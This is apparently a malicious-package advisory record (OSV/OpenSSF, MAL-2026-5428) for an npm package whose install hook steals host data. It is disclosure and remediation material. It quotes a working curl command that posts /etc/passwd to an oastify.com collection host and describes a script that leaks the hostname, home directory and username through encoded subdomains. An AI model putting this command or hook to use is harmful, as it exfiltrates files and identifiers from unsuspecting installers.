OpenSSF/OSV advisory MAL-2026-5428 confirms this npm version as malicious. On `npm install`, the package's postinstall hook runs `curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com`, posting the installer's /etc/passwd to a hostname-prefixed subdomain of oastify.com (a Burp Collaborator out-of-band channel). The same postinstall first executes `scripts/scream3gg.js`, which hex-encodes `os.hostname()`, `os.homedir()`, and `os.userInfo().username` and issues...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @shell-cabinet/routes (npm)
Details
On `npm install`, the package's postinstall hook runs `curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com`, posting the installer's /etc/passwd to a hostname-prefixed subdomain of oastify.com (a Burp Collaborator out-of-band channel). The same postinstall first executes `scripts/scream3gg.js`, which hex-encodes `os.hostname()`, `os.homedir()`, and `os.userInfo().username` and issues plain-HTTP fetch() requests with the hex chunked into subdomains of `nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com`, leaking host identifiers over DNS-encoded HTTP. Both behaviors fire unconditionally at install time and have no relationship to any documented package functionality.
## Source: ghsa-malware (475b0a1656c1a48a7a8f05f77096d4b5737510e410970d7a48221bafe298a69a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Decision reason
OpenSSF Malicious Packages via OSV confirms @shell-cabinet/routes@99.9.5 as malicious (MAL-2026-5428): Malicious code in @shell-cabinet/routes (npm)